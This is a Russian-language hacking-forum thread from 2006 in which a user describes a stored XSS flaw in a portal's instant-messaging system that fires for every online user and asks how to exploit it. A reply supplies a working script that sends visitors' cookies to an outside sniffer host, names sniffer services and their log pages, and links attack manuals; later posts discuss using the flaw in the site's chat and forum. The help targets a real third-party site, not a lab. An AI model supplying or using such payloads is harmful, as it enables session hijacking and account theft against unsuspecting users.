14.08.2006, 23:02
|
|
Новичок
Регистрация: 15.01.2006
Сообщений: 11
Провел на форуме:
118825
Репутация:
1
|
|
Что можно сделать?
И так есть портал , в нем есть сам саит, чат, форум, и системка мгновенных сообщений всем юзерам он-лаина, она на php ... так вот в неи есть активная xss , после добавления сообщения с хсс , алерт вызывается у всех пользователей что он-лаин. Сам скрипт был такои:
Код:
"><script>alert(document.cookie);</script>
тоесть никакие знаки не фильтруются. Так вот какои вопрос: что можно сделать ... чего добится? Извините за ньюбство  Но просто хотелось бы знать многие варианты действий, которые можно совершить.
POSTBIT TEST
|
|
|
15.08.2006, 10:20
|
|
Time out
Регистрация: 28.11.2005
Сообщений: 547
Провел на форуме:
2320925
Репутация:
1348
|
|
Я только сейчас понимаю как это тяжело каждый раз объяснять, что нужно делать в XSS.
Вообщем, в поиске на а-чате или Googool забей "XSS снифер". Там посмотри - должен сам разобраться.
POSTBIT TEST
|
|
|
|
15.08.2006, 11:28
|
|
Участник форума
Регистрация: 23.10.2005
Сообщений: 276
Провел на форуме:
1095453
Репутация:
113
|
|
Сообщение от INDAHO
Код:
"><script>alert(document.cookie);</script>
тоесть никакие знаки не фильтруются. Так вот какои вопрос: что можно сделать ... чего добится? Извините за ньюбство Но просто хотелось бы знать многие варианты действий, которые можно совершить. 1) Юзай сниффер!
Вот те мануал http://antichat.ru/sniff/
Адрес сниффера: http://antichat.ru/cgi-bin/s.jpg
Лог сниффера: http://antichat.ru/sniff/log.php
Можешь и персональный юзать например в http://s.netsec.ru
Далее в алерт впихаешь сниффа + документ кукис ... чтоб заполучить кукисы жертвы
Например:
Код:
<script>img = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;</script>
Как только скрипт выполнится , можешь посмотреть на логи сниффера и хитро улыбатся =)
POSTBIT TEST
Последний раз редактировалось Electro; 15.08.2006 в 11:32..
|
|
|
|
15.08.2006, 13:55
|
|
Новичок
Регистрация: 15.01.2006
Сообщений: 11
Провел на форуме:
118825
Репутация:
1
|
|
Спасиб за инфу!) Но я хотел бы знать, кроме "утаскивания" куков, можно ли чтонить еще сделать?
POSTBIT TEST
|
|
|
|
15.08.2006, 14:06
|
|
Участник форума
Регистрация: 23.10.2005
Сообщений: 276
Провел на форуме:
1095453
Репутация:
113
|
|
DDos Имхо можно сделать!
шутка
Вот тебе еще один мануал открй для себя многое
http://forum.antichat.ru/thread20140.html
POSTBIT TEST
Последний раз редактировалось Electro; 15.08.2006 в 14:11..
|
|
|
|
15.08.2006, 15:33
|
|
Новичок
Регистрация: 15.01.2006
Сообщений: 11
Провел на форуме:
118825
Репутация:
1
|
|
Сообщение от Electro
DDos Имхо можно сделать!
шутка
Вот тебе еще один мануал открй для себя многое
http://forum.antichat.ru/thread20140.html этот мануал я читал ... =( Кукисы мне просто не нужны ... да и получить их там неполучается ...
Разъясню что есть, есть портал на котором есть такая штука как мгновенные сообщения пользователям , что на саите , это сообщение открывается в небольшом маленьком php окошке ... но это окошко никаких куков не содержит ... я отправлял сообщение со скриптом на снифер ... но в логе снифера отображаются только ИПы и откуда они были направлены (тоесть с адреса того окна)
Так что утащить куки не получается ... 
POSTBIT TEST
|
|
|
|
15.08.2006, 15:39
|
|
Участник форума
Регистрация: 23.10.2005
Сообщений: 276
Провел на форуме:
1095453
Репутация:
113
|
|
Сообщение от INDAHO
И так есть портал , в нем есть сам саит, чат, форум, и системка мгновенных сообщений всем юзерам он-лаина, она на php
ХSS можешь исаользовать на чате и в форуме
Кстати в мануале написано где и как можно использовать активную или пассивную XSS .. больше вариантов нет по использыванию XSS
POSTBIT TEST
Последний раз редактировалось Electro; 15.08.2006 в 15:44..
|
|
|
|
15.08.2006, 15:49
|
|
ветеран
Регистрация: 22.06.2004
Сообщений: 2,128
Провел на форуме:
5355463
Репутация:
2258
|
|
Говорим спасибо Electro за ответ, а тему закрываем =) Ибо больше чем кража кук ты ничего не сделаешь.Закрыто.
P.S. а сам уезжаю отдыхать =)
POSTBIT TEST
__________________
Моня тот еще зверюга,
Свиду тихий внутри - ****,
Без обид,реальный мэн,
Просто рифмы нет совсем.
С ним шутить *****то очень,
В ирце вместе с ним хохочем (c) m0Hze
|
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
